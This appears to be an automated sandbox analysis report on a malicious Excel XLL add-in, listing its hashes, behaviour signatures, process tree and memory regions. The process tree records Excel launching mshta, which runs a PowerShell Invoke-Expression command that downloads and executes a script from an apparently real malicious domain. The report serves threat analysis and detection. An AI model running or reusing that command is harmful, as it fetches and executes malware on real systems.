Analysis

  • max time kernel
    134s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 21:34

General

  • Target

    49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88.xll

  • Size

    12KB

  • MD5

    923a25dd6a9cccc96fa6887c2cb27bed

  • SHA1

    7a3b91376c110de3e1f552c74d15e654efcbc6e5

  • SHA256

    49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88

  • SHA512

    af94bd9e6f73abdf7d2bca627d9a51f4ec313f3ba264bed171f6451a911a33f315ad0e382e90814435dbd2d67cfb968d0b8560363e786684509f03c521c8c851

  • SSDEEP

    192:sL29RBzDzeobchBj8JONMON03ruprEPEjr7AhH:C29jnbcvYJOZgupvr7CH

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:404
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3952
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1784

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\AKI8W8FH\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88.xll

    Filesize

    12KB

    MD5

    923a25dd6a9cccc96fa6887c2cb27bed

    SHA1

    7a3b91376c110de3e1f552c74d15e654efcbc6e5

    SHA256

    49e809ce8f3da6a91ef1735e82769468adab36d07095300a480fe625e68deb88

    SHA512

    af94bd9e6f73abdf7d2bca627d9a51f4ec313f3ba264bed171f6451a911a33f315ad0e382e90814435dbd2d67cfb968d0b8560363e786684509f03c521c8c851

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pjxzvs2k.xcr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/404-6-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-83-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-5-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-8-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-7-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-0-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-2-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-9-0x00007FFABCC90000-0x00007FFABCCA0000-memory.dmp

    Filesize

    64KB

  • memory/404-11-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-13-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-14-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-12-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-15-0x00007FFABCC90000-0x00007FFABCCA0000-memory.dmp

    Filesize

    64KB

  • memory/404-4-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-85-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-3-0x00007FFAFF12D000-0x00007FFAFF12E000-memory.dmp

    Filesize

    4KB

  • memory/404-10-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/404-81-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-84-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-82-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-1-0x00007FFABF110000-0x00007FFABF120000-memory.dmp

    Filesize

    64KB

  • memory/404-65-0x00007FFAFF090000-0x00007FFAFF285000-memory.dmp

    Filesize

    2.0MB

  • memory/1784-56-0x0000000006770000-0x00000000067BC000-memory.dmp

    Filesize

    304KB

  • memory/1784-55-0x0000000006740000-0x000000000675E000-memory.dmp

    Filesize

    120KB

  • memory/1784-57-0x0000000007D80000-0x00000000083FA000-memory.dmp

    Filesize

    6.5MB

  • memory/1784-58-0x0000000006C20000-0x0000000006C3A000-memory.dmp

    Filesize

    104KB

  • memory/1784-54-0x00000000060F0000-0x0000000006444000-memory.dmp

    Filesize

    3.3MB

  • memory/1784-44-0x0000000006080000-0x00000000060E6000-memory.dmp

    Filesize

    408KB

  • memory/1784-43-0x0000000006010000-0x0000000006076000-memory.dmp

    Filesize

    408KB

  • memory/1784-40-0x00000000030D0000-0x0000000003106000-memory.dmp

    Filesize

    216KB

  • memory/1784-42-0x0000000005720000-0x0000000005742000-memory.dmp

    Filesize

    136KB

  • memory/1784-41-0x00000000058E0000-0x0000000005F08000-memory.dmp

    Filesize

    6.2MB